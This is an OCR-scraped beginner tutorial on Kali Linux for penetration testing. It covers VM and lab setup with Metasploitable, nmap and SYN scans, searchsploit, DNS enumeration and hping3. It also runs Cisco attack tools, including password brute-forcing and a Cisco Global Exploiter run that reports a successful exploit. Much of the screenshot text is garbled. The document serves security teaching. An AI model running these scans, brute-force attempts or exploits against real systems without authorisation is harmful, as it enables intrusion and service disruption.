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Kali Linux

About the Tutorial

Kali Linux is one of the best open-source security packages of an ethical hacker, containing
a set of tools divided by categories. Kali Linux can be installed in a machine as an Operating
System, which is discussed in this tutorial. Installing Kali Linux is a practical option as it
provides more options to work and combine the tools.

This tutorial gives a complete understanding on Kali Linux and explains how to use it in
practice.

Audience

This tutorial has been prepared for beginners to help them understand the fundamentals
of Kali Linux. It will specifically be useful for penetration testing professionals. After
completing this tutorial, you will find yourself at a moderate level of expertise from where
you can take yourself to the next levels.

Prerequisites

Although this tutorial will benefit most of the beginners, it will definitely be a plus if you
are familiar with the basic concepts of any Linux operating system.
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possible, however, the contents may contain inaccuracies or errors. Tutorials Point (I) Pvt.
Ltd. provides no guarantee regarding the accuracy, timeliness or completeness of our
website or its contents including this tutorial. If you discover any errors on our website or
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1. KaliLinux — Installation & Configuration

Kali Linux is one of the best security packages of an ethical hacker, containing a set of
tools divided by the categories. It is an open source and its official webpage is
https://www.kali.org.

Generally, Kali Linux can be installed in a machine as an Operating System, as a virtual
machine which we will discuss in the following section. Installing Kali Linux is a practical
option as it provides more options to work and combine the tools. You can also create a
live boot CD or USB. All this can be found in the following link:
https://www.kali.org/downloads/

BackTrack was the old version of Kali Linux distribution. The latest release is Kali 2016.1
and it is updated very often.

&« ) 4 wong w = £ O -

[KALI] e e a

Our Most Advanced Penetration Testing Distribution, Ever.

P TEMELR

zur”e“Marketblace, eekly 180 Builds

To install Kali Linux —

e First, we will download the Virtual box and install it.

e Later, we will download and install Kali Linux distribution.

Download and Install the Virtual Box

A Virtual Box is particularly useful when you want to test something on Kali Linux that you
are unsure of. Running Kali Linux on a Virtual Box is safe when you want to experiment
with unknown packages or when you want to test a code.

With the help of a Virtual Box, you can install Kali Linux on your system (not directly in
your hard disk) alongside your primary OS which can MAC or Windows or another flavor
of Linux.

Let's understand how you can download and install the Virtual Box on your system.

@ tutorialspoint

EIMPLYEAEGEYLEARNING


https://www.kali.org/
https://www.kali.org/downloads/

Kali Linux

Step 1: To download, go to https://www.virtualbox.org/wiki/Downloads. Depending on
your operating system, select the right package. In this case, it will be the first one for
Windows as shown in the following screenshot.

VirtualBox

Download VirtualBox

Here, you will find links to VirtualBox binarles and s source code,

VirtualBox binaries

By downloading, you agree to the terms and conditions of the respective license.

* VirtualBox platform packages. The binaries are refessed under the terma of the GPL version 2. I
0 % < ra.’yg’a_mdm
+ VirtualBox 5.1.2 for OS X hosts - amd64

« VirtualBox 5.1.2 for Linux hosts
+ VirtualBox 5.1.2 for Solaris hosts amd64

+ VirtualBox 5.1.2 Oracle VM VirtualBox Extension Pack Al supported platforms
Support for USB 2.0 and USB 3.0 devices, VirtualBox RDP and PXE boot for Intel cards. See this chapter from the User Manual for an introduct]
Extansion Pack binaries are released undar the VirtualBox Parsonal Use and Evaluation Licanse (PUEL),
Please install the extension pack with the same version as your installed versian of VirtualBox
If you are using VirtualBox 5.0.26, please download the extension pack + here,

If you are ysing VirtualBox 4.3.38, please downlpoad the extension pack -+ here,

Step 2: Click Next.

g — 1R
1) Oracle VM VirtualBox 5.1.2 Setup [

Welcome to the Oracle VM
VirtualBox 5.1.2 Setup Wizard

The Setup Wizard will install Orade VM VirtualBox 5.1.2 on
your computer, Click Next to continue or Cancel to exit the

/ Setup Wizard.

Version 5.1,2
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Step 3: The next page will give you options to choose the location where you want to
install the application. In this case, let us leave it as default and click Next.

' 4 Oracle VM VirtualBox 5.1.2 Setu

Custom Setup
Select the way you want features to be installed.

Click on the icons in the tree below to change the way features will be installed.

[ o
| VirtualBox Application Orade VM VirtualBox 5.1.2
VirtualBox USB Support application.
VirtualBox Networking
o v | VirtualB idged Networki
:ID V'r BIBOX zn g_eo | e:lw ol This feature requires 164MB on
~ &) 7] VirtualBox Host-Only Networ | o i+ hard drive. It has 3 of 3

--------- | VirtualBox Python 2.x Support subfeatures selected. The
subfeatures require 692KB on yo...

< | ] [

Location: C:\Program Files\Oradle\VirtualBox\

Version 5.1,2 | Diskusage | | <Back | mext> | [ cancel |

Step 4: Click Next and the following Custom Setup screenshot pops up. Select the
features you want to be installed and click Next.

a4 N T
1) Oracle VM VirtualBox 5.1.2 Setup ; ﬂj

Custom Setup

Select the way you want features to be installed.

Please choose from the options below:

[¥]Create a shortcut on the desktop:

[¥] create a shortcut in the Quick Launch Bar

[V|Register file associations

Version 5.1,2 [ < Back ][ Next > ] [ Cancel ]

EIMPLYEAEGEYLEARNING
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Step 5: Click Yes to proceed with the installation.

-
4 Oracle VM VirtualBox 5.1.2

Warning:
Network Interfaces

Installing the Orade VM VirtualBox 5. 1.2 Networking feature
will reset your network connection and temporarily
disconnect you from the network.

Proceed with installation now?

Version 5.1,2 b YOS il [ No

Step 6: The Ready to Install screen pops up. Click Install.

q : —h
15 Oracle VM VirtualBox 5.1.2 Setup i [

Ready to Install
The Setup Wizard is ready to begin the Custom installation.

Click Install to begin the installation. If you want to review or change any of your
installation settings, dick Back. Click Cancel to exit the wizard.

Version 5.1,2 < Back H Install | [ Cancel

w tutorialspoint
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Step 7: Click the Finish button.

r e
12l Oracle VM VirtualBox 5.1.2 Setup X

Oracle VM VirtualBox 5.1.2
= installation is complete.

Qi Click the Finish button to exit the Setup Wizard.

=

[¥] Start Orade VM VirtualBox 5. 1.2 after installation

o

Version 5.1,2

ack I Finish | Cance

A

The Virtual Box application will now open as shown in the following screenshot. Now we
are ready to install the rest of the hosts for this manual and this is also recommended for
professional usage.

3¢ Oracle VM VirtualBox Manager - — l S J l =B ﬁ
File Machine Help
o
A / p {a Details &8 Snapshots
New Setings Discard Start
Welcome to VirtualBox!
The left part of this window is a list of all virtual machines on your computer, The list is empty now
because you haven't created any virtual machines yet. E: ‘nx —
In order to create a new virtual machine, press the New buttoninthe [ 3 ‘
main tool bar located at the top of the window N .
g
You can press the F1 key to get instant help, or visit 5 : 4
www.virtualbox.org for the latest information and news. ' '
%
7
I |
|
|l
|
— A
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Install Kali Linux

Kali Linux

Now that we have successfully installed the Virtual Box, let’'s move on to the next step and

install Kali Linux.

Step 1: Download the Kali Linux package from its official website:
https://www.kali.org/downloads/
& — O | [9] offensive-security.com/kali-linux-vmware-virtualbox-image-download

ACECMTINE @

E'EI—IFMHUE Blog Courses Certifications Online Labs

SEEI LY

Prebuilt Kali Linux VMware Images

Image Name Torrent | Size
Kali Linux 64 bit VM Torrent 2.0G
Kali Linux 32 bit VM PAE Torrent 2.0G

Prebuilt Kali Linux VirtualBox Images

Version SHA15um
2016.1 2b49bf1e77c11ech5618249cas9a46f23a6fad2d
2016.1 e71867a8bbf7ad55fad37eb7c93fd69e450f6759

Step 2: Click VirtualBox -> New as shown

in the following screenshot.

9 Oracke VM VirhalBax Manager
File  Michine Help
sl New [l |
¥ op  Add.. Ctrl-A
New
@ Settings, Ctrle5
(g # Clone CHi+0 E General
S8 Remnove.. Cti-R Name; AC1
§ oz System: Windows 2008 {&5-ox
& Growp Cutell Operatng Sy "5 t)
e 3] system
& San ’
Bace Nemory:  1500M8
100§ : e} Boot Order: Fioppry, Optical, Hard Dk
o | Recat . Acceleration: VT /AMD-\, Nested Paging, Hyper -V Pardwrtusization
p .
g -
y  Dhscwrd Saved State ctrfe )
{F Showlog.. CirteL B oupley
et et Video Memory: pLE ]
> femote Oeckiop Server:  Disabled
- \ideo Capture: Desabled
(5 Show in Explorer
A Create Shonteut on Desktop (d storage
’ Controlier: SATA
BE son SATAPOrt0:  ACI v (Normel, 25,00 GB)
—_— SATAPort 17 [Optical Drive] SW_DVDS_Windows_Swr_DC_EE_SE_Web_2008_R2_68it_Engieh:
B Avdio
Host Oriver;  Windows DrectSound
£ =) Trobgl bg A by
. "
tutnmalspnlnt
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Step 3: Choose the right virtual hard disk file and click Open.

Kali Linux

W# Please choose a virtual hard disk file

= v <« Kali-Li... * Kali-Linux-2016.7-vm-amd&4
Organize = MNew folder
h Fal
d@ OneDrive Mame
B This BC W Kali-Linux-2016.1-vm-amd64
o 9 Kali-Linux-2016.1-wvm-amdéd-=001
B Desktop W Kali-Linuwx-2016.1-vm-amd64-sD02
@ Documents W Kali-Linux-2016.1-vrm-amd&d-sD032
I Downloads W Kali-Linux-2016.1-vm-amd64-s004

9 Kali-Linux-2016.1-vm-amdgd-s005
9 Kali-Linux-2016.1-vm-amdod-=000
9 Kali-Linux-2016.1-vm-amdgd-s007
9 Kali-Linux-2016.1-vm-amdod-=008

J‘] Music

&= Pictures

B Videos

., Local Disk (C:)
- Local Disk (D:)
. DVD RW Drive (E

o

Date modified

2/1/2016 5:06 PM
2/1/2016 5:18 PM
2/1/2016 5:18 PM
2/1/2016 5:18 PM
2/1/2016 5:18 PM
2/1/2016 5:18 PM
2/1/2016 5:18 PM
2/1/2016 5:18 PM

2/1/2016 5:18 PM

Search Kali-Linux-2016.1-vm-... @

Type

Wirtual Machine Di.,
Virtual Machine Di..
Virtual Machine Di.,
Virtual Machine Di..
Virtual Machine Di..
Virtual Machine Di.,
Virtual Machine Di..
Virtual Machine Di.,

Virtual Machine Di..

N P v £ ¥
File name: v| Al virtual hard disk files (*.vmd -~
Step 4: The following screenshot pops up. Click the Create button.
? *
Create Virtual Machine
MName and operating system
Mame: |Kali 2016. 1. |
Type: |Linux hi
Version: | Other Linux (54-bit) -
Memory size
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 512 : MB
4MB 3192 MB
Hard disk
() Do not add a virtual hard disk
() Create a virtual hard disk now
(®) Use an existing virtual hard disk file
Kali-Linux-2016. 1-vm-amda<. vmdk (Mormal, 30.00 GB) - Iﬂ
Guided Mode Cancel
7

L
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Kali Linux

Step 5: Start Kali OS. The default username is root and the password is toor.

Update Kali

It is important to keep updating Kali Linux and its tools to the new versions, to remain
functional. Following are the steps to update Kali.

Step 1: Go to Application -> Terminal. Then, type “apt-get update” and the update will
take place as shown in the following screenshot.

root@kali: ~ QOO
File Edit View Search Terminal Help
:~# apt-get update
#Get:1 http://kali.mirror.garr.it/mirrors/kali kali-rolling InRelease [30.5 kB]
Get:2 http://kali.mirror.garr.it/mirrors/kali kali-rolling/main amd64 Packages [
14.1 MB]
14% [2 Packages 1,556 kB/14.1 MB 11%] 66.3 kB/s 3min c*:I

L

w tutorialspoint

EIMPLYEAEGEYLEARNING




Kali Linux

Favoritey

1 = Information Gathering

12 - Valnerablity Analyses

03 - Wb Application Analysis
& - Database Assessment A
metasplos

05 - Password Attacks

£ / armitage
Wirsless Attacks -

7 - Reverse Engheerng |48 burpauate
L
8 + Explotation Tools
maltego
09 - Safffing & Spocfing
beel xes Iy

Post Exploitation

Forensics

Step 2: Now to upgrade the tools, type “apt-get upgrade” and the new packages will be
downloaded.

root@kali; ~
File Edit View Search Terminal Help

Reading package lists... Done
~#
~F
~#
:~# apt-get upgrade
Reading package lists... Done
Building dependency tree
Reading state information... Done
Calculating upgrade... Done
The following packages were automatically installed and are no longer required:
castxml gccxml gdebi-core libasnl-8-heimdal 1libgssapi3-heimdal
libhcrypto4-heimdal 1ibhdb9-heimdal libheimbasel -heimdal
libheimntlm@-heimdal 1ibhx509-5-heimdal libkdc2-heimdal 1ibkrb5-26-heimdal
libntdbl librokenl8-heimdal 1ibwind®-heimdal python-ctypeslib python-ecdsa
python-ntdb python-pyatspi python-tidylib vlc-plugin-notify vlc-plugin-samba
'apt autoremove' to remove them.
following packages have been kept back:
adwaita-icon-theme apktool backdoor-factory bind9-host binwalk bluez
bluez-obexd bundler cadaver couchdb cpp cpp-5 cutycapt default-jdk
default-jre default-jre-headless dnsutils dradis driftnet erlang-asnl
erlang-base erlang-crypto erlang-eunit erlang-inets erlang-mnesia
erlang-os-mon erlang-public-key erlang-runtime-tools erlang-snmp erlang-ssl
erlang-syntax-tools erlang-tools erlang-xmerl evolution-data-server
evolution-data-server-common file folks-common ftp g++ g++-5 gcc gcc-5
gcc-5-base gdm3 gedit gedit-common ghostscript girl.2-gdkpixbuf-2.0
glll 2 gnomcdabktop 3 0 glrl 2-gst-plugins- babo l O glrl 2- g\traamnr-l C]

A ~ir]l D miittar_ 2
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Kali Linux

Step 4: To upgrade to a newer version of Operating System, type “apt-get dist-
upgrade”.

Laboratory Setup

In this section, we will set up another testing machine to perform the tests with the help
of tools of Kali Linux.

Step 1: Download Metasploitable, which is a Linux machine. It can be downloaded from
the official webpage of Rapid7: https://information.rapid7.com/metasploitable-
download.htmI?LS=1631875&CS=web

Metasploitable - Virtual Machine to Test Metasploit

: e ,,i,‘_ B bt s ' P it ¥ out the form below o dawnload Metasploltabis
Work Phone: *

What Is Metasploitable? How does it work? o AR E

m—m

10

¥

i
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Kali Linux

Step 2: Register by supplying your details. After filling the above form, we can download
the software.

RAPID¥)

Thank you for registering for Metasploitable

To download Metasploitable, click here!

Do you have a copy of Metasploit to use against
Metasploitable?

Metasplait, backed by an apen source commungy of 200 (00 members, gives you that msight s Free MetaSDlOit
Ihe mast populae penafrabion 1esting soloon on the plane! Download
A o y " Get your copy of the

Step 3: Click VirtualBox -> New.

9 Oracie VM VirtuaiBox Manager

File Machine Help

Add... CtrieA
Settings.., Q5
Clone— e = Gemeral

b Cir-R Name: AC1
o I S
(4] system
Stant

Base Memory: 1500 M8
Boot Orcer;  Floppy, Opsical, Hard Disk
Reset el Acceleration:  VT-x/AMD-X, Nested Pagng, Hyper ¥ Parsnirfushation

O BREDE
g
3

m@m Al

< |
N
<
J

2 Didand Saved Sate trie )

{F Showlog. Ctitel & Display

&  Refresh Yideo Memory: ol

i Remote Desktop Server:  Disabled

D in Video Capture: Disabled

A Creste Shortcut on Desktop & storsge

> Conaroler: SATA

BS Sen SATAPAtD:  ACHve (Noomal, 25,00 GB)
SATAPert 11 [Opsce Drive] SW_OVDS_Windows_Sw_DC_EE_SE_Wad_J003_R2_SE1_Enghsh:
B Audio

Host Orwvers  Windows DrectSound
P M

Smbed 4 8ockn
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Step 4: Click "Use an existing virtual hard disk file”. Browse the file where you have

downloaded Metasploitable and click Open.

D Fieate oste » vl hand gk e

- . nengiout Wtz icestiel Lo
Treate Vit Maves
sovse den fride
N and Speratrg sote
& Cradvive
Hane e ascaoo
< . W Manpbati
1 B e B
o s - ?{] C
L Ozl
weserr VbRl R4 Y - | W Cestey
Coesriwm
Semory soe | Cowrbest
. M 3 e ' M

= Bowe
R ven
% Locat Dk (T

- Lo Duk (2]

- ] ovn e D ¥
e ) SN VIR AV E 3 e ‘
= > . 4
A ACL a2 Do, JLI QN e B
Fie rame | Matscctathe
Sadnitidn | Cmaw Comont
0¥ et

Adarar 1o Drawl PAD 1300 MT Dbt (WA Martaart, Tiatbietuart)

AN At hrd ok Thes [ el

———
foe
e——

”~ie

I

Step 5: A screen to create a virtual machine pops up. Click “Create”.
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7
Create Virtual Machine |
Mame and operating system
i
Mame: |Me135plui13ble :
Type: |Linux - E?’f
4
Version: | Ubuntu (64-hit) - i
g
Memory size
' 1024 5| MB
I 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 11 1 1 1 1 1 1 1 1 1 1 1 1
4 MB 8192 MB
Hard disk E
() Do not add a virtual hard disk i
() Create a virtual hard disk now
(®) Use an existing virtual hard disk file i
3
Metasploitable, vmdk (Mormal, 8.00 GB) - Iﬁ :
1
Guided Mode Cancel
T
12
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The default username is msfadmin and the password is msfadmin.

Starting deferred execution scheduler atd

Starting periodic command scheduler crond

Starting Tomcat servlet engine tomcat5.5

Starting web server apacheZ

Running local boot scripts (retcrrc.local)d
appending output to "nohup.out’
appending output to “nohup.out’

arning: Mever expose this UM to an untrusted network?
ontact: msfdevliatlmetasploit.conm

Login with mnsfadmin/msfadmin to get started

etasploitable login:
Bo@e Mm@ @ rotcy

13
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2. Kali Linux — Information Gathering Tools

In this chapter, we will discuss the information gathering tools of Kali Linux.

NMAP and ZenMAP

NMAP and ZenMAP are useful tools for the scanning phase of Ethical Hacking in Kali Linux.
NMAP and ZenMAP are practically the same tool, however NMAP uses command line while
ZenMAP has a GUI.

NMAP is a free utility tool for network discovery and security auditing. Many systems and
network administrators also find it useful for tasks such as network inventory, managing
service upgrade schedules, and monitoring host or service uptime.

NMAP uses raw IP packets in novel ways to determine which hosts are available on the
network, what services (application name and version) those hosts are offering, which
operating systems (and OS versions) they are running, what type of packet filters/firewalls
are in use, etc.

Now, let’s go step by step and learn how to use NMAP and ZenMAP.

Step 1: To open, go to Applications -> 01-Information Gathering -> nmap or zenmap.

dnmap-clie

dnmap-ser

everse Engineering
Exploitation Tools
Sniffing & Spoofing

xploitatior

Forensics

2 - Reporting Tools

ocial Engineen
System Senvices

sual applications
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Step 2: The next step is to detect the OS type/version of the target host. Based on the
help indicated by NMAP, the parameter of OS type/version detection is variable “-O". For
more information, use this link: https://nmap.org/book/man-os-detection.html

The command that we will use is:

nmap -0 192.168.1.101

The following screenshot shows where you need to type the above command to see the
Nmap output:

# Zenmap — O X

Scan  Tools  Profile  Help
Target: | 192.168.1.101 ~ | Profile: ~| |Scan| |Cancel

Command: |nmap -0 192,168.1,101 s command that i used

Services Mmap Output  Ports / Hosts Topology Host Details  Scans

05 4 Host - nmap -0 192.168.1.101 ~ Details

Ay 192.168.1.101 22/tcp open ssh o
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
8a/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1899/tcp open rmiregistry
1524/tcp open ingreslock
2849/tcp open nfs
2121 /tcp open ccproxy-fip
3306/tcp open mysqgl
5432/tcp open postgresql
59@8/tcp open wnc
6eea/tcp open X11
6667 /tcp open irc
B@@9/tcp open ajpl3
818@/tcp open unknown
MAC Address: @88:88:27:01:33:60 (Oracle VirtualBox
virtual NIC)
Device type: general purpose
Running: Linux 2.5.X-=
05 CPE: cpe:/o:linus:linux_kernel:2.6 g
05 details: Linux 2.6.9 - 2.6.33 -
MNetwork Distance: 1 hop

05 details

05 detection performed. Please report any incorrect
results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 17.55
seconds

Filter Hosts

Step 3: Next, open the TCP and UDP ports. To scan all the TCP ports based on NMAP, use
the following command:

nmap -p 1-65535 -T4 192.168.1.101

Where the parameter “-p” indicates all the TCP ports that have to be scanned. In this
case, we are scanning all the ports and “-T4" is the speed of scanning at which NMAP has
to run.
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Following are the results. In green are all the TCP open ports and in red are all the closed
ports. However, NMAP does not show as the list is too long.

Target: | 192.168.1.101 ~ | Profile: ~| |5can| | Cancel

Command: | nmap -p 1-63335 -T4 192.1628.1.101

Services Mmap Output Ports / Hosts Topology Host Details  Scans

05 4 Host +  |nmap -p 1-65535 -T4 192.168.1.101 v Details

Ay 1%2.168.1.101

Starting Nmap 7.12 ( https://nmap.crg ) at 2016-89-16
18:84 Central European Daylight Time
Nmap scan report for 192.168.1.1@1
Host is up (©.8880818s latency).

Not shown: B5585 closed ports i
PORT STATE SERVICE

21/tcp open ftp

22/tcp aopen  ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1899/tcp open rmiregistry

1524/tcp open ingreslock

2849/tcp open nfs

2121/tcp open ccproxy-ftd
3306/tcp open mysqgl

3632/tcp open distccd

5432/tcp open postgresql

5988/tcp open wvnc

6008 /tcp open X11

6667 /tcp open irc

6697 /tcp open unknown

8009/tcp open ajpl3

8188/tcp open unknown

8787 /tcp open unknown

48285/tcp open unknown

51161/tcp open unknown W

Filter Hosts

Stealth Scan

Stealth scan or SYN is also known as half-open scan, as it doesn’t complete the TCP
three-way handshake. A hacker sends a SYN packet to the target; if a SYN/ACK frame is
received back, then it's assumed the target would complete the connect and the port is
listening. If an RST is received back from the target, then it is assumed the port isn't active
or is closed.

SYN+Port number

—

HOST 1 HOST 2

RST
<"‘IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

‘ Port is Closed ‘
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HOST 1

SYN+Port number

-----q'»
SYN/ACK

——
RST

—_—

{ Port is Open

HOST 2

Kali Linux

Now to see the SYN scan in practice, use the parameter =sS in NMAP. Following is the full

command -

nmap -sS -T4 192.168.1.101

The following screenshot shows how to use this command:

Zenmap

Scan Jools Profile

Target: | 192.168.1.101

Command:

05 1 Host
A 192.168.1.101

Help

~ | Profile: ~ Scan

nmap -s5 -p 1-6500 192.168.1.101

MNmap Qutput Ports / Host: Topology Host Details  Scans

kv

nmap -5 -p 1-6500 192.168.1.101

Starting Nmap 7.12 ( https://nmap.org ) at 2016-89-16
22:34 Central European Daylight Time
Nmap scan report for 192.168.1.1861
Host is up (@.88838s latency).

Not shown: 6479 closed ports

PORT STATE SERVICE

21/tcp open fip

22/tcp open ssh

23/tecp open telnet

25/tcp open smtp

53/tcp open domain

B8a/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/ tcp 0pen| microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1@99/tcp open rmiregistry

1524/tcp open ingreslock

2849/tcp open nfs

2121/tcp open ccproxy-fip

3386/tcp open mysqgl

3632/tcp open distccd

5432/tcp open postgresql

59ee/tcp open wnc

6008/tcp open X11

MAC Address: @8:88:27:D1:33:68 (Oracle VirtualBox
virtual NIC)

Mmap done: 1 IP address (1 host up) scanned in 16.38
seconds

Cance
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Kali Linux

Searchsploit

Searchsploit is a tool that helps Kali Linux users to directly search with the command line
from Exploit database archive.

To open it, go to Applications -> 08-Exploitation Tools -> searchsploit, as shown in the
following screenshot.

Applcations v Places D Termmal v

vorites armitage

)1 - Information Gathering

beef xss fr
32 = Vulnerability Analysis

03 - Web Application Analysis metasplott ..

Database Assessment
msf paylos

Password Attacks

8 . searchsploit

06 - Wireless Attacks

Reverse Engneering s social engi

8 - Exploitation Tools

sgimap
09 - Sniffing & Spoafing
10 » Post Exploitation tarmineter

- Forensics

Reporting Tools

14 - System Services

After opening the terminal, type "searchsploit exploit index name".

root@kali: ~ -

File Edit View Search Terminal Help

:~# searchsploit windows

(/usr/share/exploitdb/platforms)

'Microsoft WebDAV - (ntdll.dll) Remot ; /remote/l.c
Microsoft WebDAV - Remote PoC Exploi g /remote/2.c
Microsoft RPC Locator Service - Remo : /remote/5.c
Apache HTTP Server 2.x Memory Leak Exploit : /dos/9.c
Microsoft Internet Explorer 11 - Crash PoC S /dos /37060 .html
Chindi Server 1.0 - Denial of Service Exploi 5 /dos/13.c
Xeneo Web Server 2.2.9.0 - Denial of Service : /dos/17 .pl
Microsoft SMB - Authentication Remot S /remote/20.txt
Pi3web 2.0.1 - Denial of Service - Proof of : /dos/22 .c

Real Server < 8.0.2 - Remote Exploit (Window . /remote/23.c
Kerio Personal Firewall 2.1.4 - Remote Code ; /remote/28.c

18
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DNS Tools

In this section, we will learn how to use some DNS tools that Kali has incorporated.
Basically, these tools help in zone transfers or domain IP resolving issues.

dnsenum.pl

The first tool is dnsenum.pl which is a PERL script that helps to get MX, A, and other
records connect to a domain.

Click the terminal on the left panel.

Places »  [E) Terminal «

root@kall: -

Fie Edit View Search Terminal Help

Type "dnsenum domain name” and all the records will be shown. In this case, it shows
A records.
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brute force file not :,;Jm.lfl» ad,

dnsaenum.pl VERSION:1,2.3

example.co

a.c0m.

a,lana-sarvars,net ,
b.lana-servars.net.

Trying 2 Transfer f ple.com on a.la
AXFR r rd query fai from server:

DNSMAP

The second tool is DNSMAP which helps to find the phone numbers, contacts, and other
subdomain connected to this domain, that we are searching. Following is an example.

Click the terminal as in the upper section , then write "dnsmap domain name”

..,
:~# dnsmap fmmd .al
dnsmap 0.30 - DNS Network Mappar by pagvac (gnucitizen.org)

[+] searching (sub)domains for @m=imissy.al using built-in wordlist
[+] using maximum random delay of 10 millisecond(s) between requests

cpanel. ot .al
IP address #1: 1.222

ftp. .al
IP address #1

localhost. St 5.al
IP address #1: 127.0.0.1
[+] warning: domain might be vulnerable to "same site" scripting (http://snipurl.com/etbcv)

[+] 3 (sub)domalns and 3 IP address(es) found

dnstracer

The third tool is dnstracer, which determines where a given Domain Name Server (DNS)
gets its information from for a given hostname.

Click the terminal as in the upper section, then type “dnstracer domain name”.

—— ="

-

~H dnst racer -« e . COM
Tracing to _ .com[a] via 127.0.0.1, maximum of 3 retries
1270502 (127:0.0:1) Xk *

T |

20
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LBD Tools

LBD (Load Balancing Detector) tools are very interesting as they detect if a given domain
uses DNS and/or HTTP load balancing. It is important because if you have two servers,
one or the other may not be updated and you can try to exploit it. Following are the steps
to use it:

First, click the terminal on the left panel.

I 23 L, X
471 =glmap e

Then, type “Ibd domainname”. If it produces a result as "FOUND”, it means that the
server has a load balance. In this case, the result is "NOT FOUND".

Hping3

Hping3 is widely used by ethical hackers. It is nearly similar to ping tools but is more
advanced, as it can bypass the firewall filter and use TCP, UDP, ICMP and RAW-IP
protocols. It has a traceroute mode and the ability to send files between a covered channel.

Click the terminal on the left panel.
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01608140813

an on 197

Flle Edit View Search Terminal Help

sqlmap txt

Type “hping3 —h"” which will show how to use this command.

:~# hping3 -h
usage: hping3 host [options]
-h  --help show this help
-V --version show version
--count packet count
--interval wait (uX for X microseconds, for example -i ul@0OO)
--fast alias for -i ulBGEEE (10 packets for second)
--faster alias for -i ulGOO (100 packets for second)
--flood sent packets as fast as possible. Don't show replies.
--numeric numeric output
--quiet quiet
--interface interface name (otherwise default routing interface)
-V --verbose verbose mode
-D --debug debugging info
-z --bind bind ctrl+z to ttl (default to dst port)
-Z --unbind unbind ctrl+z
--beep beep for every matching packet received
Mode
default mode TCP
-0 --rawip RAW IP mode
-1 --icmp ICMP mode
-2  --udp UDP mode

The other command is “hping3 domain or IP -parameter”

:~# hping3 192.168.1.102 -V
’using eth®, addr: 1892.168.1.101, MTU: 1500
HPING 192.168.1.102 (eth0 192.168.1.102): NO FLAGS are set, 40 headers + 0 data
bytes
len=46 ip=192.168.1.102 tt1=64 DF id=0 tos=0 iplen=40
sport=0 flags=RA seq=0 win=0 rtt=10.6 ms
seq=0 ack=882034245 sum=c40 urp=0

len=46 ip=192.168.1.102 tt1=64 DF id=0 tos=0 iplen=40
sport=0 flags=RA seq=1 win=0 rtt=0.4 ms
seq=0 ack=1964174310 sum=dfc® urp=0
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3. Kali Linux — Vulnerability Analyses Tools

In this chapter, we will learn how to use some of the tools that help us exploit devices or
applications in order to gain access.

Cisco Tools

Kali has some tools that can be used to exploit Cisco router. One such tool is Cisco-torch
which is used for mass scanning, fingerprinting, and exploitation.

Let's open the Terminal console by clicking the left pane.

RO RN

3 sqlmap txt

Then, type “cisco-torch —parameter IP of host” and if there is nothing found to exploit,
then the following result will be shown.

:~# cisco-torch -n
Using config file torch.conf...
Loading include and plugin

B L L L L L I IR i s i i 4
# Cisco Torch Mass Scanner #

# Becase we need it... #
# http://www.arhont.com/cisco-torch.pl #
BRI

List of targets contains 1 host(s)

1735 Checking 10.22.21.1

--=>

- A1l scans done. Cisco Torch Mass Scanner -
---> Exiting.
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To see what are the parameters that can be used, type “cisco-touch ?”

:~# cisco-torch ?
Using config file torch.conf...
Loading include and plugin
version
,usage: cisco-torch <options> <IP,hostname,network=

or: cisco-torch <options> -F <hostlist>

Available options:
-0 <output file>
-A All fingerprint scan types combined
-t Cisco Telnetd scan
-S Cisco SSHd scan
-u Cisco SNMP scan
-g Cisco config or tftp file download
-n NTP fingerprinting scan
=J TFTP fingerprinting scan
<type> loglevel
c critical (default)
v verbose
d debug
Cisco Webserver scan

Cisco Auditing Tool

It is a PERL script, which scans Cisco routers for common vulnerabilities. To use it, again
open the terminal on the left pane as shown in the previous section and type “"CAT -h
hostname or IP".

You can add the port parameter “-p” as shown in the following screenshot, which in this
case is 23 to brute-force it.
:~# CAT -p 23 -h 10.22.21.1
Cisco Auditing Tool - g@ne [null@]

Checking Host: 10.22.21.1

Guessing passwords:

pattern match timed-out at /usr/share/cisco-auditing-tool/plugins/brute line 12

~# i
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Cisco Global Exploiter

Cisco Global Exploiter (CGE) is an advanced, simple, and fast security testing tool. With
these tools, you can perform several types of attacks as shown in the following screenshot.
However, be careful while testing in a live environment as some of them can crash the

Cisco devise. For example, option can stop the services.

:~# cge.pl

Usage
"perl cge.pl <target> <vulnerability number>

Vulnerabilities list

[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability

[2] Cisco IOS Router Denial of Service Vulnerability

[3] Cisco I0S HTTP Auth Vulnerability

[4] Cisco I0S HTTP Configuration Arbitrary Administrative Access Vulnerability
[5] Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability
[6] Cisco 675 Web Administration Denial of Service Vulnerability

[7] Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability

[8] Cisco I0OS Software HTTP Request Denial of Service Vulnerability

[9] - Cisco 514 UDP Flood Denial of Service Vulnerability

[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability
[11] Cisco Catalyst Memory Leak Vulnerability

[12] Cisco Cat0S CiscoView HTTP Server Buffer Overflow Vulnerability

[13] 0 Encoding IDS Bypass Vulnerability (UTF)

[14] Cisco I0OS HTTP Denial of Service Vulnerability

To use this tool, type “cge.pl IPaddress number of vulnerability”

The following screenshot shows the result of the test performed on Cisco router for the
vulnerability number 3 from the list above. The result shows the vulnerability was
successfully exploited.

.~# cge.pl 10.22.21.1 3

Vulnerability successful exploited with [http://10.22.21.1/1level/17/exec/....]
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BED

BED is a program designed to check daemons for potential buffer overflows, format strings,
et. al.

~# bed

BED 0.5 by mjm ( www.codito.de ) & eric ( www.snake-basket.de )

Usage:

./bed.pl -s <plugin> -t <target> -p <port> -o <timeout> [ depends on the plugin

]

<plugin=> = FTP/SMTP/POP/HTTP/IRC/IMAP/PIL/LPD/FINGER/SOCKS4/SOCKS5S
